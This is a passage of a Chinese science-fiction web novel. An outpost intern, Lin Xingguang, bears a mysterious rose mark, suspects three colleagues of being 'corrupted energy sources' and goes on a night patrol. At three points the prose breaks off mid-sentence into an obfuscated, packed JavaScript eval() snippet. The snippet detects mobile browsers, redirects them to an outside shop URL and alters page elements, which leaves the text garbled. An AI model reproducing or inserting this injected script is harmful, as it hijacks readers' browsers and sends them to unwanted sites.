她咬着牙,一遍又一遍地用冷水拍着那块皮肤。镜子里,颈侧的蔷薇印记清晰可见,淡粉色的花瓣像是活过来了一样,边缘泛着极淡的粉白光点,随着她的动作,轻轻颤动着。 就在这时,那些光点突然亮了起来。 骤然变亮,像是有无数细碎的星子,从印记里飘了出来。它们悬浮在半空中,慢慢凝聚,渐渐汇成一个模糊的人形轮廓。 林星光的动作顿住了。 她盯着镜子里的那个虚影,呼吸一滞。 虚影淡淡的,像是用月光织成,看不清五官,只能隐约分辨出修长的身影和银色的长发,有点像全息投影技术不成熟时那种模糊的影像。 林星光的目光,死死地黏在了那双眼睛的位置。 那里有两点金色的光,像是盛满了整片星空的碎片。 是他。 是昨晚那双,映着她濒死模样的金色眼睛。 林星光屏住呼吸,她没有尖叫,没有后退,她站在原地,冷冷地看着那个虚影。 越是诡异的情况,越不能慌。谁慌,谁就输了。 就在她绷紧神经,准备开口质问的瞬间,一个声音直接在她的脑海里响了起来。 不是通过耳朵听到的,是直接在她意识里响了起来。 清冷,低沉,带着点疏离,像风拂过冰封的湖面。 “别碰。” 明明是她从未听过的语言,但可能是因为直接在意识里的缘故,她竟然能懂他在说什么。 林星光的身体僵了一下。 她看着虚影,缓缓放下了手。水还在哗哗地流着,溅湿了她的袖口,她镇定自若地关掉了水龙头。 “你是谁?” 虚影没有回答。 它就那样悬浮在半空中,金色的眼睛安静地注视着她,没有任何动作。 林星光又问:“昨晚的事,是你做的?是你救了我?还是你们是一伙儿的?” 她不惮以最坏的恶意揣度对方的意图,但在情况未明之前,她也不会毫无防备地说出口。 走廊里传来脚步声,还有人说话的声音,隐隐约约的,顺着门缝飘进来。 林星光的神经有些绷紧。 她记得自己把门关得很好,所以一双眼只是盯着虚影,嘴唇抿成一条直线。 “这里是我的宿舍,很安全。”她压低声音,“你要是有什么事,就直说。我不喜欢猜谜。” 对方明显是个非人的存在,还是先搞清楚对方的意图。 虚影终于有了动静。 它微微晃动了一下,然后,那个清冷的声音,再次在她的脑海里响起。 “你被标记了。” 虚影并没有回答她的问题。 林星光皱起眉:“标记?什么标记?” “昨晚击中你的,不是普通的能量冲击波。”虚影倒是没有卖关子,“是一种生命体的伪装,它在你身上留下了标记。” 生命体? 伪装? 林星光的脑子飞快地转着。这些词单个她能理解,但放在一起就有点让人无法理解了。而且前哨站的培训资料里,也没有任何相关的记载。 不过很明显,对方知道昨晚发生了什么,知道那道会拐弯的“流星”到底是怎么回事。 所以,真的是他救了自己? 林星光皱着眉反问:“凭什么让我相信你?” 她不是傻白甜,不会因为这一句话就认定对方是好人。但眼前这个虚影,暂时没表现出攻击性。 而且,她脖子上的印记,是在“流星”之后出现的。 “证据呢?” 虚影沉默了。 它似乎没料到她会问这个。过了几秒,它身上的光点闪烁了一下,林星光的脑海里,突然闪过一个画面—— 昨晚的能量接收塔下,粉白色的花瓣纷飞,金色的光芒裹住了她,将那道灼热的白光硬生生挡开,然后,一片又一片的蔷薇花瓣,缓缓落在她的颈侧。 林星光的瞳孔缩了缩。 这是……什么? 它能控制自己想什么?但这个明显不是自己的视角…… 她没说话,等着对方的下文。 “你可以不信。”虚影开口,“但标记是真的。我的能量不足,所以没能打散那个生命体,只是暂时击退。” “暂时?”林星光捕捉到这个关键词。 “我打断了它的进程,但它还在。” 林星光的手指无意识地蜷了蜷,脑子飞快地转。 如果是陷阱,对方没必要提醒她标记还在,自己什么都不知道不是更利于对方的计划?如果是寄生,也没必要以这种半透明的虚弱形态出现,它可以偷偷隐藏,然后一举夺取自己的身体。 但也不能排除这是更高明的骗局。 “你打断标记,是为了救我,”她慢慢说,“还是有别的目的?” 她很少把话说得这么直接。但一想到昨晚那双金色的眸子,这样的话不知道为什么就直接脱口而出了。 虚影又沉默了。 这次沉默的时间有点长。长到林星光以为他不会回答了,那个声音才再次响起: “救你是因为想救你。但目的,也确实有。” 很坦诚。 这种坦诚让林星光稍微放松了一点警惕。至少对方没装 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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光点从轮廓边缘剥落,一片一片飘开。银色的长发,模糊的五官,修长的身形,都在一点点变淡,变透明。 最后只剩下一双眼睛。 金色的,盛着星光的眼睛。 “你等等!”林星光声音急切,但依然有些警惕,“你还没告诉我,你叫什么名字?你帮我,到底想换什么?” 虚影停顿了一下。 然后,在彻底消散之前,那个清冷的声音,最后一次在她的脑海里响起。 “蔷薇。” 话音落下,那些凝聚的光点彻底散开,消失在空气里。 林星光还站在原地。 脖子上的灼热感正在慢慢退去,只剩下一点温热的余温,像脉搏一样,轻轻跳动着。 她看着镜子。 颈侧的蔷薇印记还在,淡粉色的花瓣,层层叠叠。但不再发光了,就那样安静地贴在她的皮肤上,像个真正的纹身。 她伸出手,这次没有碰印记,而是摸了摸旁边的皮肤。 温度正常。 蔷薇。 这个名字,像一朵盛开的花,娇嫩又温柔。 但林星光没被这名字迷惑。她靠在洗手台上,闭上眼睛,脑子里飞速地盘算着。 假设蔷薇说的是真的:她被标记了,站内有三个被侵蚀的能量源,蔷薇需要她帮忙找到它们。 那这笔交易,划不划算? 帮他找,她能得到什么?摆脱标记?知道更多关于那个生命体的真相? 不帮他,她又会怎么样?真的会死? 林星光睁开眼睛,镜子里的女孩,眉眼弯弯,天生的笑唇让她看起来格外讨喜。 她不相信蔷薇是纯粹的“好人”,就像她不相信这世上有免费的午餐。 但眼下,她没得选。 很明显,她脖子上的印记,昨晚的袭击,都不是巧合。 她需要信息。 而那个自称“蔷薇”的存在,是目前唯一的信息源。 所以她会帮忙找那三个能量源。 5. 能量源 虽说要找那三个被侵蚀的能量源,林星光却不知道该从何下手,而蔷薇,却消失了,彻底没了动静。 她想找蔷薇问个清楚,但任凭林星光怎么用手指去碰颈侧的印记,用冷水拍,对着镜子低声喊“蔷薇”这个名字,她甚至刻意绷紧神经,在脑海里默念“蔷薇”两个字,却什么都没发生,那个虚影再也没有出现。 印记就只是印记,淡粉色,温温热热地贴在那里,像个沉默的纹身。 林星光站在洗手台前,看着镜子里的自己,天生笑唇弯着,眉眼柔和。 最后她扯了扯嘴角,眼底有些浮躁。 指望别人果然是不靠谱的。不管是人是鬼,还是这种说不清道不明的存在,关键时刻能靠的只有自己。 她吐了口气,用毛巾擦干脖子和手,走出洗手间。 会议纪要还得整理。这是她下午必须完成的工作,不能因为脖子上多了个东西,脑子里多了堆疑问,就把正事扔一边。 该干的活没干完,这肯定是不行的。 她在书桌前坐下,打开记录本,连接上办公系统。屏幕亮起来,冷白的光映着她的脸。 她开始整理。 手指在复古的机械键盘上敲击,发出有节奏的嗒嗒声。她在不赶时间的时候还是喜欢使用这种传统的输入方式,而不是脑机。 走廊里偶尔传来脚步声,有人大声说笑,有人打电话抱怨物资补给太慢。这些声音都很熟悉,是她在前哨站日复一日的日常。 她深吸一口气,把那些关于标记、系统、能量源的杂念强行压下去,专注于眼前的工作。 “会议时间:星纪233年8月24日,上午9:00-10:15。” “参会人员:站长周明远,副站长李岚,各科室负责人……” “议题一:关于昨夜异常能量冲击事件的初步分析与应对措施……” 站长的发言、各科室的诉求、需要落实的事项,一条一条都要列得明明白白,最好连标点符号都不要错。 一边写,她一边在想蔷薇说的那三个“能量源”。 三个。 被侵蚀。 到底该怎么找?它所说的“能量源”到底是什么?是人,还是其他别的什么? 她现在完全是一头雾水。 不过,蔷薇当时用自己跟三个“能量源”进行过对比,说自己是载体,那三个是燃料。既然能进行对比,那肯定有相通的地方。 那个所谓的“能量源”多半也指的是人。 但就算指的是人,范围也有点太大了。 前哨站三百多号人,她不可能一个个去盯。而且她只是个后勤实习生,没有权限深入调查别人的隐私。 只能从已有信息里筛。 她不假思索地调出人员基础信息库,目光在昨天受伤人员的名单上扫过。 五个。包括她自己。 其中四个是异能者。 赵锐,强化系。李文,元素系控水。孙小雅,特殊系空间感知。还有一个叫王磊的,也是强化系。 和上午看到的那个申请离站名单高度重合,这四个人有三个都申请了离站,虽然被站长驳回了。 巧合吗? 林星光又看了一眼这几个名字。 然后她继续整理纪要。 信息太少了。 她需要更多的线索,但蔷薇不出现,她连问都没地方问。 只能靠自己了。 下午的工作按部就班。她去仓储区核对了一批新到的营养液,签了字;又去维修间送了两份设备报修单,跟老王聊了会儿天,旁敲侧击地问了问昨天受伤那几个人的情况。 老王一边拧着螺丝一边说:“赵锐?那小子皮实,估计没啥事。李文好像吓得不轻,胆子小。孙小雅嘛……那姑娘本来就神神叨叨的,这回更说不准了。还有王磊,那可是个老实的孩子,这次可遭了罪了……” 都是些笼统的印象,没什么用。 她又去了一趟医疗站,借口询问自己的复查时间,想看看能不能碰到那三个人。 小苏不在,值班的是另一个医生。医疗站里很安静,只有仪器低低的嗡鸣。她瞥了一眼隔离观察区,门关着,看不到里面。 一无所获。 傍晚六点,下班时间。 林星光关掉终端,揉了揉发酸的眼睛。脖子上的印记已经不怎么热了,只剩一点温温的触感,偶尔随着脉搏轻轻跳一下,提醒她它的存在。 该去食堂了。 她将领口拉到最顶,确保能遮住颈侧的印记。对着镜子扯了扯嘴角,调出那个讨喜的笑容。 很好。 她拉开门,走出去。 通往食堂的走廊里人来人往,都是下了班的工作人员。有人跟她打招呼,她就笑着回应,声音软乎乎的,带着点南方口音的糯。 “小林,好点没?” “没事啦,谢谢关心。” “下午给你的东西都整理完了?辛苦啦。” “应该的应该的。” 几句寒暄,滴水不漏。 这个点的食堂人最多,空气里混杂着饭菜味、汗味,还有各种说话声。打饭窗口排着队,林星光排在队伍末尾,低着头,听前面几个人聊天。 “……所以说,核心区那帮少爷小姐,根本不知道我们在这过的是什么日子。” “听说下个月补给又要削减?” “不是吧?还减?这光绒菜都快吃出心理阴影了……” 轮到她了。阿姨麻利地打了一勺菜,一勺米饭,两块合成肉。她端着餐盘,环顾四周,找了个靠窗的角落坐下。 她没什么胃口,用勺子慢慢扒拉着米饭,眼睛不动声色地扫视着整个食堂。 就在这时,邻桌两个人的对话飘进了她的耳朵。 “哎,你听说了吗?昨晚那几个受伤的异能者,今天下午居然都出院了!” “真的假的?我早上还去医疗站了,赵锐那小子还闹着要出院呢,医生说他能量紊乱,至少得躺三天!” “谁知道呢,刚才我还看见他在训练室打沙袋呢,看着精神得很!” “不止他,李文和孙小雅也出来了。孙小雅你知道吧,昨天送去的时候那副样子,今天居然能自己走路了!” “怪事年年有,今年特别多……” 林星光扒拉米饭的动作停住了。 她的心跳漏了一拍。 出院了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17189768|197063||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ? 三个都出院了? 小苏早上还跟她说,只有她一个人几乎毫发无伤,其他人都伤得比较重,还在医疗舱里躺着。刘姐也说,四个异能者都受了重伤。 怎么可能这么快就出院? 林星光的目光下意识地在食堂里扫了一圈。 很快,她就看见了第一个人。 赵锐。 他坐在食堂中央的那张桌子旁,面前摆着一大份红烧肉,正狼吞虎咽地吃着。他的脸色红润,眼神明亮,哪里有半点受伤的样子?强化系异能者恢复快,但这未免太快了。 她又把目光移开,落在了不远处的另一张桌子上。 李文。 他低着头,小口小口地喝着汤。他的脸色确实有点苍白,整个人缩着,存在感很低,几乎要嵌进椅子里。 然后,她看见了孙小雅。 孙小雅一个人坐在角落,面前摆着一份光绒菜炒饭,却一口都没动。她的眼睛直直地盯着窗外,眼神空洞,像是在看什么,又像是什么都没看。 有人跟她打招呼,她也没反应,只是微微歪了歪头,嘴角扯出一个僵硬的笑容。 林星光的心脏猛地沉了下去。 不对劲。 太不对劲了。 小苏说他们伤得不轻,刘姐说异能者都受伤了,老王说李文胆子小肯定被吓着了。 可现在她看到的,是三个“状态很好”的人。 好得有点反常。 比如赵锐那红润得过分的脸色,李文那反常的平静,孙小雅那空洞又带笑的表情…… 这不是“劫后余生”该有的样子。 她的手微微一颤,勺子撞到餐盘边缘,发出一声清脆的响声。 邻桌的人看了她一眼,她立刻移开眼神,脸上露出恰到好处的歉意笑容。 等对方转回头,她才再次看向那三个人。 赵锐吃完了最后一口肉,抹了抹嘴,站起身,大步流星地走出了食堂。 李文喝完了汤,慢悠悠地站起身,朝着相反的方向走去。 孙小雅依旧坐在那里,一动不动,像个精致的木偶。 林星光放下餐具,擦了擦嘴。 她心里已经有了一个模糊的答案。 赵锐,李文,孙小雅。 蔷薇说的三个能量源,恐怕就是他们三个。 林星光站起身,端起餐盘,走向回收处。 她的脚步很稳,脸上的笑容依旧柔和。 但只有她自己知道,她的后背,已经沁出了一层薄汗。 林星光把餐盘放下,走出食堂。 傍晚的风吹过来,带着星际作物特有的清苦味。她站在食堂门口,深深地吸了一口气,又缓缓吐出来。 三个可能被侵蚀的“能量源”,就在那里。 接下来呢? 蔷薇只让她找,没说找到之后怎么办。她一个普通人,能做什么? 而且,如果她现在贸然靠近,会不会打草惊蛇?会不会引起那个东西的注意? 太多未知。 她抬手,摸了摸颈侧的蔷薇印记。 温热的,还在轻轻跳动着。 像是在回应她的心跳。 6. 打探消息 回到宿舍的时候,林星光觉得浑身骨头像是被拆过一遍。 身体累,心也累。 她关上门,按亮了书桌上的小台灯。昏黄的光晕在桌面上摊开一小圈,刚好够照亮桌面那点空间。 宿舍里其他地方都陷在昏暗里,那些整齐摆放的杂物在阴影里显出模糊的轮廓,像蹲在角落里的怪物。 她抬手摸了摸颈侧的印记,蔷薇没反应。 从那之后,虚影就再没出现过。不管她怎么在脑子里喊名字,怎么用手指去碰印记,都没用。 好像洗手间里那次短暂的对话,都是她濒死前臆想出来的幻觉。 林星光深吸一口气,把那股从心底往上冒的烦躁压下去。 她伸手打开终端。 屏幕亮起来,冷白的光刺得她眯了眯眼。她调出后勤系统的权限界面,输入工号和密码,又刷了虹膜。系统跳转,进入人员信息库。 前哨站三百二十七人的基础档案一排排列在屏幕上,她是实习后勤协调员,权限低得可怜,终端里只有一些基础信息,还有蓝底的证件照。 她找到昨天跟她一起受到能量冲击波的那四个异能者又看了看。 赵锐,二十六岁,照片上的他寸头,方脸,眼神有点凶。强化系异能,评级C,擅长近身格斗。入职三年,在前哨站的安保队。林星光对他印象比较深,上周物资飞船来的时候,他还帮忙卸过货,力气确实大得惊人。 李文,二十四岁,元素系,控水能力,评级D。入职两年,在环境维护科。档案照片上的他戴着副黑框眼镜,表情腼腆,看着就像个老实的技术员。 林星光跟他打交道的次数不多,也就是能认得出来的程度。 孙小雅,二十五岁,特殊系,微弱空间感知能力,评级E,这几乎是异能者的最低门槛。入职一年半,在通讯监测科。林星光去送过几次办公用品,她说话细声细气的,总是笑着接过去。照片上的她留着齐肩短发,笑起来眼睛弯弯的,跟昨天看起来有些不一样。 赵锐,李文,孙小雅。 如果只是看表面,他们今天的状态……好得有点太快了。 她又把这三个人的值班排班表调出来。 赵锐上周值了两次夜班,时间都在凌晨两点到四点之间,巡逻区域包括能量接收塔。李文这周申请了三次调班,都把白班换成了晚班。孙小雅最近半个月的值班记录里,有两次“短暂离岗”,备注写的是“设备校准”。 值班调班很正常,设备校准也没问题。 实在看不出来异常…… 林星光关掉了终端。 屏幕暗下去的瞬间,宿舍里只剩下台灯那圈昏黄的光。她坐在黑暗里,听着自己的呼吸声,一下,又一下。 脖子上的印记微微动了一下,像有什么东西在皮肤下面轻轻翻了个身。 林星光僵住了。 等了几秒,没动静。 她收回手,吐了口气。 明天。明天再去看看。 ------------------------------------- 第二天早上七点,林星光准时起床。 洗漱,换工装,把领子拉好,对着镜子看了看。 很好。 完美的小林式微笑。 她拉开宿舍门,走廊里已经有人走动的声音。隔壁刘姐也正好出门,看见她就抬了抬手:“早啊小林,今天脸色好多了。” “睡了一觉好多了。”林星光笑着回应,“刘姐今天也这么早?” “可不是,那批数据还没弄完呢。”刘姐拎着个布袋子,里面装着保温杯和饭盒,“走了啊。” “哎,慢走。” 林星光看着她拐过走廊尽头,脸上的笑容淡了点。 她没直接去值班室,先拐去了后勤仓库。 仓库里堆着成箱的消毒棉、一次性手套和营养液,都是要送到医疗站的。她推着小推车,慢悠悠地往医疗站走。 医疗站的张姐是个碎嘴的人,和她关系还算不错。张姐嘴不严,只要聊得投机,什么话都能往外漏两句。 医疗站的门开着,张姐已经在前台整理单据了,看到林星光推着车进来,立刻笑着招手:“小林,你来啦!我都等了一早上了。” “张姐早。”林星光已经习惯了张姐的夸张表达,她弯着腰,把箱子搬下来,语气软乎乎的,“昨天有点累,稍微起晚了点,麻烦张姐了。” “客气啥。”张姐摆摆手,一边登记一边抱怨,“说起来,昨天真是忙疯了,昨晚那能量冲击,一下子抬进来五个伤员,累得我腰都快断了。你还好,没啥事儿,其他几个就伤得不轻了。” 林星光擦了擦额角的汗,状似不经意地问:“就是。对了,张姐,昨天那几个伤员,今天怎么样了?我听小苏说,有几个是异能者,他们身体都比普通人好,应该恢复得很快吧?” “快?快得离谱!”张姐压低声音,凑近了说,“那个赵锐,强化系的,昨天抬进来的时候能量紊乱,医生说至少得躺三天,结果今天早上,他硬是从病床上爬起来,吵着要出院。医生拦都拦不住,他还说自己没事,就是想回去训练,你说这叫什么事!” 林星光的心跳微微一顿,脸上却露出惊讶的表情:“这么拼啊?真不愧是是异能者。那其他几个呢?” “还有个李文,昨天下午就走了。”张姐翻了翻登记本,“自己签的字,脸色苍白,问他要不要再检查一下,他还说不用。孙小雅也说自己没事,看着挺正常的,就是眼神有点飘。” “那王磊呢?”林星光又问了一句,“听说他也是强化系,应该好得也很快吧。” 普通人对异能者好奇也很正常,所以林星光的问题并没有引起张姐的警惕。 张姐叹了口气:“那个孩子最老实,伤得也最重,内脏有出血,现在还在医疗舱里昏迷着呢,医生说还得躺几天。” 林星光点点头,脸上露出恰到好处的担忧:“真是辛苦他们了。” 她和张姐又闲聊了几句,无非是抱怨前哨站的物资匮乏,吐槽核心区的资源倾斜。 离开医疗站的时候,外面的阳光有点刺眼。她眯了眯眼,沿着通道往物资科的方向走,那是去值班室的必经之路。 她脚步放得很轻,眼睛看似随意地扫着两侧的办公室和储物间。 然后她看见了李文。 他刚从一条岔路里拐出来,低着头,正在看手腕上的通讯器。身上穿着前哨站统一的灰色工装,袖子挽到了手肘,露出来的小臂皮肤看着比平时白一点,但也没什么异常。 林星光脚步没停,脸上的笑容已经扬起来了:“李哥?出院了?” 李文抬起头,看见是她,点了点头:“嗯,昨天就出了。你怎么样?” 他的声音挺平静,表情也没什么不对。就是脸色有点苍白,但刚从医疗站出来的人,脸色苍白很正常。 “我没事,就一点擦伤。”林星光走近了些,“你真没事了?昨天小苏说你们好几个都受伤了。” “没事,检查过了,都好。”李文笑了笑,带着点技术员特有的腼腆,“就是还有点累,回去歇歇就好。” “那就好。”林星光点点头,“对了,你吃早饭了吗?食堂今天难得有豆浆,还挺香的。” “吃过了。”李文看了看时间,“那个……我还有点事要处理,先走了啊。” “哎,好,慢走。” 李文朝她点点头,转身走了。 太正常了。 正常得有点不对劲。 林星光站在原地,看着他消失在通道另一头,脸上的笑容慢慢收了起来。 如果她不知道昨晚的能量冲击有多强,如果她没看见王磊还躺在医疗舱里,她会觉得李文的状态挺好。刚出院的人,能走能说,脸色虽然白点但也正常。 可她知道。 她知道那股冲击波能把人的防护手环震碎,能把异能者震得内脏出血。 李文不该恢复得这么快。 不该这么……正常。 ------------------------------------- 下午两点,林星光抱着一摞换洗衣物去了通讯科。 孙小雅今天值班,岗位在观测台。那是前哨站最高的地方,一个半圆形的玻璃穹顶,里面摆着一排监测设备,能实时接收空间波动数据。 林星光刷了权限卡,乘升降梯上去。 观测台里很安静,只有机器运转时低低的嗡鸣。孙小雅背对着门坐在控制台前,屏幕上滚动着一串串跳跃的数字和波形图。她坐得挺直,手指在键盘上轻轻敲击,正在记录数据。 “小雅姐。”林星光轻声喊。 孙小雅转过头来。 她看见林星光,笑了笑:“小林?你怎么来了?” 那笑容和平时一样,文静,温和,眼睛弯弯的,并没有昨晚食堂里的空洞。 林星光把装着衣物的袋子放在旁边的椅子上:“后勤科给你送的换洗衣物,你不在办公室,我就顺便给你带过来了。” “谢谢啊。”孙小雅站起身,走过来接过袋子,“麻烦你了。” “不麻烦。”林星光打量着她,“你……真没事了?那晚那冲击波……” “没事了。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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队长在旁边叹气:“这小子,说想早点提升能力,离开这个破地方。这么努力,前哨站怕是留不住他了。” 林星光随口附和了几句,跟队长交接完,推着小推车离开。 她没有停留,没有多看一眼。 她只是个后勤协调员,送完东西,就该走了。 中午的时候,林星光去了食堂。 食堂里人来人往,很热闹。空气里混杂着光绒菜的清苦味和合成肉的味道。 林星光端着餐盘,找了个靠窗的角落坐下。 她的目光,不经意地扫过食堂。 她看到了赵锐。 他和几个防卫队的队员坐在一起,勾肩搭背,大声说笑,手里拿着一个大肉包,啃得津津有味。 她看到了李文。 他坐在角落里,安静地吃着饭。有人和他打招呼,他会抬起头,露出温和的笑容,和对方聊上几句。 她看到了孙小雅。 她和几个观测台的同事坐在一起,笑着听他们聊天,时不时地插一两句话。 是这三个人吗? 三个被侵蚀的能量源? 林星光慢慢地扒拉着碗里的米饭,味同嚼蜡。 她没有证据。 吃完午饭,林星光再次去了医疗站。 她以后勤慰问的名义,带了一些用光绒菜做的小零食。 王磊是四个受伤的异能者里,唯一一个还在昏迷的人。 医生说他的能量波动很不稳定,需要继续观察。 医疗舱的透明舱盖里,王磊闭着眼睛,脸色苍白。 ------------------------------------- 晚上九点,林星光洗了澡,换了睡衣,坐在书桌前。 累。身体累,脑子也累。 她看向自己今天新购置的小镜子。 颈侧的蔷薇印记在昏黄的光线下显得很柔和,淡粉色的花瓣像是睡着了,安安静静地贴在那里。 她盯着看了几秒,然后鬼使神差地,在心里轻轻唤了一声: “蔷薇。” 没反应。 她也不失望,刚想移开视线,脖子上的印记突然微微发热。 温温的,像冬天里捂着热水袋的感觉。热度持续了几秒,然后慢慢退去。 林星光愣住了。 “你……在吗?”她又试了一次。 印记没再发热。 但刚才那几秒的温热是真实的,她确定。 所以蔷薇还在。只是不能,或者不想回应。 为什么? 因为能量不够?因为需要隐藏?还是因为……有别的东西在监视? 7. 双人巡夜 站长的通知很快就贴出来了。 白纸黑字,盖着红章,贴在食堂门口、值班室、各科室走廊,所有眼睛能轻易扫到的地方。标题加粗:“关于加强夜间巡查安全管理的规定”。 大意就一条:即日起,所有夜巡必须两人一组,不得单独行动。 底下附了排班表。 林星光站在食堂门口那张告示前,仰着头,目光最后落在自己名字后面。 搭档那栏写着:□□。 就是那晚的老陈。 有点巧。 不过还好是他。 老陈是前哨站的老人了,混日子等退休,性子粗枝大叶,不爱细究闲事。值班的时候多半在打瞌睡或者偷吃零食,对身边发生了什么,往往后知后觉。跟他一组,不用费太多心思去应付。 要是换了别人,比如那个总爱问东问西的小苏,或者眼神跟刀子似的防卫队长,那就有点费神了。 ------------------------------------- 下午五点半,交班时间。 林星光把白天处理完的单据整理好,一份一份归档。窗外的天开始泛灰,前哨站的人造光照系统还没完全启动,走廊里昏沉沉的。 老陈推门进来,手里端着个掉了漆的保温杯,身上那件灰工装皱巴巴的,扣子还扣错了一个。 “哟,小林,还在忙呢?”他一屁股坐在自己的椅子上,椅子腿嘎吱响了一声。 “马上就好。”林星光没抬头,手里的动作加快了些,“陈叔吃过晚饭了?” “吃了,食堂那光绒菜包子,啧,跟嚼棉花似的。”老陈拧开杯盖,吹了吹热气,“今晚咱俩一组,你知道了吧?” “刚看了告示。”林星光合上文件夹,抬起头,脸上已经挂起笑,“跟您一组我放心,您经验足。” 老陈摆摆手,脸上的皱纹堆起来:“啥经验不经验的,混日子呗。这双人巡夜也就是走个形式,真遇上事儿,俩人能顶什么用。” 林星光笑着附和。 站长这命令,多半跟那晚的能量冲击有关。 怕再出乱子。 她把最后一份文件塞进柜子,锁好。 “陈叔,咱们几点开始?” “八点。”老陈叼上根没点燃的烟,眼皮耷拉着,“跟以前一样,路线也没变。先生活区,再作物区,最后绕到能量塔那边。” “行。”林星光点头,“那我先去吃个饭,七点五十在这儿碰头?” “成。” ------------------------------------- 晚上七点五十,林星光准时回到值班室。 老陈已经在了,正往腰带上挂对讲机和强光手电。 “来了?”老陈抬了下眼皮,“走吧。” 两人一前一后出了值班室。 夜里的通道比白天安静得多。照明系统调成了夜间模式,光线昏暗,每隔十米才有一盏灯亮着,在金属墙壁上投出大片大片的阴影。 脚步声在空旷的走廊里回荡,嗒,嗒,嗒。 老陈走在前面,步子拖沓,靴底摩擦地面发出沙沙的响。林星光跟在后面半步,手里也拿着标配的手电,但没打开。 她的眼睛在黑暗里慢慢适应,余光扫过两侧紧闭的门。 生活区这段路没什么好看的。宿舍门都关着,有些门缝底下透出一点光,隐约能听到里面传出的细细簌簌的声音。大部分人都缩在房间里,前哨站的夜晚娱乐少,不是睡觉就是刷终端。 老陈打了个哈欠,声音在寂静里格外响。 “陈叔昨晚没睡好?”林星光适时开口,语气里带着点晚辈的关心。 “还行,就是年纪大了,觉轻。”老陈揉了揉后颈,“这破地方,晚上太安静了,翻个身都能听见。” “确实挺静的。” 两人有一搭没一搭地聊着,话题绕来绕去,无非是食堂的菜、下个月的补给、谁家又闹了什么笑话。 林星光耐心听着,偶尔接一两句,甚至聊到了老陈那在核心区上学的孙子,句句都说到老陈心坎里。 老陈被她哄得眉开眼笑,话也多了起来。 前哨站的布局她熟得不能再熟,后勤协调员的活计,让她在这几个月里把这三百来号人的小据点摸得还算清楚。 走过生活区,前面就是连接作物培育区的封闭通道。通道口有扇气密门,老陈刷了权限卡,门滑开,一股熟悉的清苦味涌了出来。 那是星际作物的味道,混着营养液和金属的气息,是绿源-III独有的味道。 门在身后关上。 这里的光线更暗,只有安全指示灯在角落幽幽地亮着,绿莹莹的。培育区的穹顶在黑暗中显出巨大的弧形轮廓,像倒扣的碗。 林星光打开了手电走了过去,巡检仪的蓝光扫过培育池,里面的太空薯叶子蔫蔫的,改良麦的秸秆在风里轻轻晃,一切看着都正常。 “一切正常。”老陈例行公事地说了一句,手电光扫了扫控制面板上的读数,“湿度、温度、气压……都没问题。” 林星光也打开了自己的手电。 光柱慢慢移动,扫过地面,扫过管道,扫过那些沉默的作物。 “陈叔,”她开口,像是随口提起,“那几个受伤的异能者……他们那晚在干什么啊?” 老陈正低头查看一个传感器,闻言头也没抬:“我怎么知道?” “我就是好奇。”林星光语气里带着点困惑,“我是在巡夜,正好走到能量接收塔那边。他们怎么也刚好在那儿,还被冲击到了呢?” 手电光停在一株太空薯的叶片上。 老陈沉默了两秒,直起身,手电光晃了晃。“运气不好呗。”他有点不耐烦,“这里毕竟处于探索带,什么离奇的事都有可能发生。说不定他们就是路过,或者……搞什么私下的训练。” “私下训练?” “异能者嘛,总想提升。”老陈转过身,手电光扫过林星光的脸,又移开,“尤其是赵锐那种,一天到晚想往核心区挤。私下加练,不奇怪。” 林星光点点头,没再追问。 她得到的信息不多,但老陈那句“搞什么私下的训练”,给了她一点方向。 两人继续往前走。 培育区很大,分成十几个小区域。他们沿着主通道慢慢巡视,手电光在作物间跳跃。偶尔有自动灌溉系统启动,喷出细密的水雾,在光柱里形成一片朦胧的白色。 林星光一边走,一边在脑子里整理。 就是不知道他们分别是在哪儿被发现的?跟当时的自己距离进还是远? 正想着,走在前面的老陈忽然停了下来。 “到了。”他说。 林星光抬起头。 前面就是能量接收塔所在的区域。 那座像放大蘑菇的塔,在黑夜里沉默地立着,顶部的碟形天线对着漆黑的夜空,边缘反射着遥远的星光,看着冷冰冰的。 塔身周围的地面,明显有被清理过的痕迹,原本的印记被刮掉了,但仔细看,还是能看到一些残留的痕迹。 有几缕极淡的焦黑色纹路,像蜘蛛丝一样,呈放射状散在地面上,从塔基延伸出去,隐在阴影里。 林星光的心跳猛地漏了一拍。 就是这里。 那晚她遇袭的地方,就是能量接收塔下。这些焦黑纹路,应该就是那晚能量冲击留下的。 老陈已经转过身,准备往下一个区域走了。“走啦走啦,没什么异常就往下一站去。” “陈叔稍等。”林星光开口,声音很轻,“我鞋带好像松了。” 她蹲下身,把手电放在地上,光束刚好照向印记的方向。 借着光,她看得更清楚了些。 那些纹路中间的颜色深,边缘浅,好像也没什么异常。 老陈在身后催促:“快点,还有一半路没走呢。” “马上。”林星光应着,手指假装去系鞋带,实则悄悄伸到地面,指尖轻轻触上那道焦黑纹路。 冰凉的触感,带着点粗糙的颗粒感,是金属地面被高温灼烧过的质感。 指尖刚碰到纹路的瞬间,一股细微的刺痛感猛地传来,像被静电扎了一下,麻酥酥的,顺着指尖往上窜,直抵心口。 与此同时,颈侧的蔷薇印记猛地发烫。 那热度来得突然,林星光呼吸一滞,指尖蜷缩,差点叫出声。 她咬住牙,强迫自己保持蹲姿,脸上表情没变。 她下意识地在脑海里呼唤:“蔷薇?” 没有回应。 印记还在发烫,温度持续升高,灼得她颈侧皮肤一阵阵刺痛。可脑海里一片寂静,那个清冷的声音,那个金色眼睛的虚影,却半点动静都没有。 林星光的心里有点慌, 